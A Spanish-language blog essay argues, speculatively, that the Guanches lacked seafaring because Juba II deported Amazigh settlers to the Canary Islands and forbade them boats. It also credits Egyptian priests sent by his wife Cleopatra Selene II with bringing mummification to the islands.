miércoles , noviembre 22 2017
Xaxo guanche

Sobre los enigmas guanches de las momias y la carencia de técnicas náuticas

Los guanches, habitantes prehispánicos de las Islas Canarias, aunque en realidad este gentilicio solo aludía a los habitantes de Tenerife que luego los autores hicieron extensivo al resto de los habitantes del archipiélago, no conocían ni las más rudimentarias técnicas de navegación, no hay ni rastro de huesos de peces atribuidos a la dieta de los guanches que pudiesen corresponderse con fauna marina para la que se requiriese alejarse algunos metros de la costa para pescarla, absolutamente nada, no sabían ni nadar, según atestiguan las crónicas de la época de la invasión española. Ni rastro arqueológico de embarcación alguna, a pesar de que obviamente llegaron al archipiélago por mar. Los guanches de una isla no tenían el más mínimo contacto con los de otras islas a pesar de que estas son visibles a simple vista.

Hay un hecho que hace más extraordinario aún el que los guanches desconocieran cualquier técnica de navegación. Podría haber ocurrido que los guanches de una de las islas no tuviera medios de navegación debido a algún tabú que les prohibía adentrarse en el mar a pesar de haber llegado obviamente a la isla en algún tipo de embarcación, pero el problema es que carecían absolutamente de técnica alguna de navegación en todas las islas, lo que supone que toda la población del archipiélago estaba afectada por esta extraña carencia náutica, única en un pueblo insular. La pregunta que se nos abre entonces es el porqué estos amazighs insulares desconocían totalmente cualquier técnica de navegación.

Sin rastro de técnicas náuticas entre los amazighs insulares

El poblamiento de las islas Canarias por pueblos bereberes no parece ser más antiguo del siglo V a.C. o del siglo I a.C – I d.C., según los datos antropológicos aportados por la mayoría de los especialistas basados en las evidencias físicas disponibles. Algunos hallazgos de cerámica de hace solo unos cuatro años indican una fecha entorno al siglo X a. C., pero solo se habla aquí de cerámica preliminarmente así datada que no está asociada a restos óseos, lo que abre la posibilidad de que se trate solo de asentamientos ocasionales de carácter comercial, que tampoco se conoce si su procedencia era fenicia debido a que la expansión comercial de este pueblo de marineros fenicia hacia occidente no se hizo patente hasta después del siglo IX a.C.

Lo que sí se conoce por evidencias históricas es que el rey mauritano Juba II (51 apróx. a,C. – 23 d.C) realizó expediciones de reconocimiento a las islas, tiempo en el que es posible que se haya efectuado el primer poblamiento estable de las Islas Canarias, pues hacia esa fecha a la que apuntan la mayoría de las dataciones de restos óseos conocidos.

No hay datos históricos ni arqueológicos que permitan decir a ciencia cierta si los primeros pobladores del archipiélago llegaron a las islas por sus propios medios o fueron llevados a ellas en embarcaciones de alguna potencia marítima de la época. Tampoco se sabe con qué intención pudieron en tal caso ser llevados aquellos primeros pobladores a las islas, más teniendo en cuenta que las navegaciones de los siglos X a.C., V a.C. o I d.C. eran de cabotaje (1) que siempre se hacían con las embarcaciones navegando en paralelo a la costa y sin dejar en ningún momento de verla. No se solía pues perder esta de vista salvo excepciones impelidas por la necesidad, más teniendo en cuenta que entonces no existían brújulas para orientarse en el mar, siendo así difícil imaginarse que algunos barcos se atreviesen a alejarse sin más de las costas africanas para adentrarse hacia el occidente en un mundo desconocido de infinitas extensiones de mar.

En este punto es importante resaltar que las islas Canarias ni siquiera son visibles desde la costa africana, dada la distancia que las separa. No había pues razón para dirigirse a las islas si no sabían con certeza que ahí estaban.

Las islas Canarias son, por otra parte, de origen volcánico, y no hay rastros geológicos de cataclismos marinos que hubieran podido afectar a la vez a todas las Islas Canarias hacia el siglo I. Aunque hubiera sucedido algo que hubiera provocado un tabú que les impidiese adentrarse en el mar, habrían quedado rastros arqueológicos de la construcción de pequeñas embarcaciones costeras para labores de pesca, y además se hubiera conocido por los relatos de los cronistas tradiciones orales que hubieran aludido a este hecho, pero no hay absolutamente nada de eso. Parece que por alguna razón las islas fueron sumidas intencionadamente en la invisibilidad, en lo que pudo incidir la prohibición impuesta de que los amazighs de las islas pudiesen usar cualquier tipo de embarcación ni siquiera para pesca de bajura.

El númida y la prohibición de navegar a los guanches

Lo de la ausencia absoluta de conocimientos náuticos por parte de los guanches es algo muy extraño y para lo que ningún especialista ha logrado dar todavía una explicación coherente. Además, es una carencia que caracterizaba a las poblaciones de todas las islas del archipiélago, no solo a alguna en concreto, a pesar de que no había ni el más mínimo contacto entre unas islas y otras. La teoría del olvido de las técnicas de navegación no tiene mucha lógica, pues aún que hubiera sido así habría quedado constancia arqueológica del tiempo en que si se utilizaba algún tipo de embarcación, y habría habido quedado constancia a través de la transmisión oral de un tiempo en que si utilizaban los guanches medios de navegación, aunque fuera para pescar, o tal vez para desplazarse de una isla a otra. Por otro lado es imposible que este olvido se hubiera producido sistemáticamente en las siete islas a la vez, esto no tiene ningún sentido. En todo caso se podría haber producido el olvido de las técnicas de navegación en alguna de las islas, pero no en todas al mismo tiempo, pues en ese caso tendría que haber habido alguna de las islas en las que aún se conociera algún tipo de técnica de navegación en el momento del contacto con los españoles.

Cada isla tenía creencia religiosas diferentes, por lo que lo del tabú tampoco se entiende que alcanzase a las poblaciones de todas las islas, sino que hubiera sido posible que se hubiese instalado en alguna de ellas, pero en todas a la vez teniendo además en cuenta que no había contacto alguno entre ellas. La ausencia de técnica náutica fue consecuentemente forzada por alguien que ejercía control sobre la población de las islas, por la potencia marítima que trasladó del interior del norte africano a poblaciones amazighs que jamás habían visto el mar hasta entonces; se precavió de que el ingenio de estos amazighs no les llevase a construir algún tipo de embarcación que les permitiese salir de las islas y comunicarse así con el exterior. Es como si la potencia marítima que en algún momento las controló las islas no quisiera que ninguna otra potencia rival tuviera conocimiento de la existencia de este archipiélago.

El poblamiento de las islas a partir de Juba II lo corrobora el hecho histórico de que en un informe atribuido a la expedición de Juba II (51 apróx. a.C. – 23 d.C.) al que aludió Plinio el Viejo (23 – 79) (2) se habla de la flora y la fauna de las islas, pero no se menciona a sus posibles habitantes, por lo que se deduce que en el momento en que la expedición de Juba II desembarcó por primera vez en estas para elaborar el informe del que habla Plinio el Viejo no había en ellas poblamiento humano alguno.

Juba II trasladó población amazigh del interior de su reino a las Islas Canarias y les prohibió utilizar cualquier medio que permitiese a estos deportados salir de las islas. La prohibición pasó de generación en generación, téngase en cuenta que la población trasladad a un territorio insular tan pequeño podía no pasar en la primera generación de unas pocas decenas de individuos en cada isla, y acabó por dominar el subconsciente colectivo de las futuras generaciones de pobladores de las islas.  La explicación de la prohibición en todas las islas, controladas por Juba II directamente sin conocimiento de Roma o como vasallo de esta, puede explicar el porqué de la carencia sistemática de técnicas de navegación en todas las islas del archipiélago, prohibición que acabaría transformándose en olvido en las generaciones venideras de los amazighs insulares.

Podría haber rastros de cerámicas o de inscripciones anteriores al tiempo de Juba II, pero al no haber estado estos asociados a restos óseos humanos pudieron perfectamente deberse a asentamientos humanos ocasionales generados por expediciones comerciales transitorias que en modo alguno constituyen prueba de que en las islas habían asentamientos humanos estables que ya podían tener la condición de nativos de las islas.

Los xaxos y la conexión egipcia

Un dato también extraño en la cultura de los guanches en la práctica religiosa de los xaxos (3) conocidas en las islas de Tenerife y Gran Canaria aunque, al parecer, según las evidencias antropológicas disponibles, desconocidas en el resto de islas del archipiélago. Es extraño porque a pesar de ser los guanches de origen amazigh, según la evidencia disponible, estos no conocían la práctica de la momificación entre sus ritos mortuorios del norte de África, pero sí en cambio lo conocían los egipcios. No hay pues una continuidad cultural entre Egipto y Canarias que pase por los amazighs continentales en lo que se refiere a esta práctica religiosa de los xaxos (3). ¿Cómo se pudo transmitir entonces a los amazighs de Tenerife y Gran Canaria la práctica de momificar a los muertos con métodos muy similares al que seguían los egipcios?.

La respuesta está en las relaciones conyugales de Juba II, que se casó con Cleopatra Selene II (40 a.C. – 6 d.C.), hija única del cónsul romano Marco Antonio y la reina egipcia Cleopatra. Juba II gobernó sobre parte del Marruecos y la Argelia actuales, realizando una expedición a las islas Canarias con el beneplácito de emperador romano Octavio Augusto, de quien era vasallo, y al cual le remitió el informe del que habla Plinio el Viejo (2). Deportó población amazigh a las islas con la intención de poblarlas de manera permanente, prohibiéndoles a estos colonos forzosos construir cualquier medio náutico para hacerles imposible todo intento de abandonar las islas.

Fue por medio de su esposa egipcia Cleopatra Selene II que tuvo contacto con sacerdotes egipcios a los que envió junto con los amazighs a las islas, siendo entonces estos quienes enseñarían a los nuevos pobladores de las Canarias los conocimientos sobre momificación de los muertos.

No es difícil imaginarse que los amazighs provenientes del norte de África, acostumbrados a no ver el mar por ningún lado y a vivir nómadas en inmensas extensiones de tierra sin fin, se sintiesen encerrados en las islas a las que habían sido forzosamente llevados por Juba II para poblarlas. Los amazighs eran nómadas, ¿cómo podían resignarse a vivir voluntariamente en islas que podían recorrer a pie en pocos días o algunas incluso en pocas horas? Debió de ser traumático verse forzados a vivir en un espacio tan reducido, acostumbrados como estaban a estar constantemente desplazándose por las inmensas extensiones del norte de África. El deseo de estas gentes por abandonar las islas debió de ser percibido como un problema por Juba II, que concebía a la población amazigh como una garantía para asegurase el predominio del comercio con las mismas ante la potencial tentación romana por arrebatárselo.

Es interesante lo que se sabe de la fauna que había en las islas en el momento de la llegada de los españoles, perros, ovejas, cabras y cerdos. Traer estos animales desde el continente africano requiere evidentemente de navíos pesados, no se pueden llevar cerdos por ejemplo en pequeñas canoas rudimentariamente construidas y meterse con ellas en el tenebroso océano Atlántico. Es obvio que estos animales tuvieron que ser transportados en navíos, no en canoas, lo que incide en la teoría de que los amazighs fueron llevados a las islas por una potencia marítima, y no porque se hubiesen trasladados por su cuenta a las islas en canoas.

Por qué hablar de un traslado forzado a las islas en lugar de uno voluntario

Es interesante lo que se sabe de la fauna que había en las islas en el momento de la llegada de los españoles, perros, ovejas, cabras y cerdos. Traer estos animales desde el continente africano requiere evidentemente de navíos pesados, no se pueden llevar cerdos por ejemplo en pequeñas canoas rudimentariamente construidas y meterse con ellas en el tenebroso océano Atlántico. Es obvio que estos animales tuvieron que ser transportados en navíos, no en canoas, lo que incide en la teoría de que los amazighs fueron llevados a las islas por una potencia marítima, y no porque se hubiesen trasladados por su cuenta a las islas en canoas.

Formaban estos animales parte de su alimentación, incluso los perros, a los que al parecer previamente a su sacrificio para ser comidos eran castrados. Los cerdos debieron tener algún tipo de carácter ritualista, pues se han encontrado colmillos de estos animales en cuevas donde se enterraba a los muertos. Consumían también moluscos o peces de costa. Otro aspecto a tener en cuenta respecto al poblamiento de las Canarias es que la isla más cercana a África es Fuerteventura, a 97 km del punto más cercano a la costa africana. Esta zona continental frente a la isla majorera es absolutamente desértica, y no había poblamiento humano alguno esa zona de la costa africana en época anterior a la invasión española durante el siglo XV.

No es difícil inferir que difícilmente iba una tribu nómada amazigh a atravesar el Sáhara con cerdos, cabras y ovejas para llegar a la costa africana del sur del actúan Marruecos y en algún ponto de la desolada costa construir canoas, meterse ellos y sus animales en ellas, y lanzarse a navegar por el tenebroso océano Atlántico, teniendo además en cuenta que las costas de Lanzarote y Fuerteventura ni siquiera son visibles a simple vista desde la costa africana, ni siquiera en el supuesto de que la tribu nómada amazigh hubiese llegado exactamente al punto de la costa africana donde esta es más próxima a la costa de Fuerteventura, lo que equivale a una distancia marítima de 97 kilómetros.

¿Pudieron llegar los nómadas amazighs a un territorio absolutamente inhóspito en esa época (siglo I o antes) y se ponerse a construir canoas y meter en ellas a sus animales para luego lanzarse a atravesar con ellos la tenebrosa extensión de mar que se presentaba ante sus ojos? Los guanches eran fundamentalmente pastores trashumantes como muchas tribus amazighs del siglo I o anteriores, que en el continente eran además nómadas. Juba II era rey de los númidas, que precisamente significa nómadas en griego. El nomadismo y la trashumancia pastoril son actividades difícilmente compatibles con la cría del cerdo, un animal de granja propio de culturas sedentarias. Los nómadas amazighs no podían atravesar el desierto del Sáhara llevando consigo animales como el cerdo.

Los contactos más o menos habituales con las Canarias desaparecieron después de las invasiones germánicas en Europa Occidental y el derrumbe del Imperio Romano en occidente, hacia el siglo IV, y en este lapso temporal que va de Juba II al siglo IV no se conocen expediciones que pudieran haber llevado animales a las islas. El primer contacto bien documentado de árabes con las islas se refiere a una expedición llevada a cabo por Ben Farrouckh, quien partió de Lisboa en 999 y llegó a Gran Canaria donde llevó a cabo una expedición pacifica pactando con los canarios a cambio de reabastecimiento, relato conocido a través del escritor Edrisi o Al-Idrīsī (1100 – 1165). No tendría lógica que estos animales hubiesen sido llevados por navíos árabes durante la Edad Media si estos tenían relaciones con las islas, ya que los árabes al ser musulmanes no comerciaban con cerdos.

Después de este tiempo no se conocen contactos con el archipiélago hasta la llegada del genovés Lancelloto Mallocello a la isla de Lanzarote en 1312, y que ya entonces había cerdos en las islas, ¿quién pudo entonces haber llevado los cerdos al archipiélago si no fueron los mismos navíos de Juba II que entre el siglo I a.C. y el I d.C. transportaron a los amazighs al archipiélago Canario?

La posibilidad de un traslado voluntario de amazighs a las Islas Canarias en canoas desde la inhóspita costa africana carece, pues, de sentido alguno.

(1) Las embarcaciones navegaban siempre en paralelo a la costa y sin dejar de perder esta de vista en ningún momento
(2) Plinio el Viejo, Historia natural, capítulo XXXVII, textos 202-205
(3) Los xaxos eran los cadáveres momificados de los guanches con técnicas similares a las de las momias egipcias

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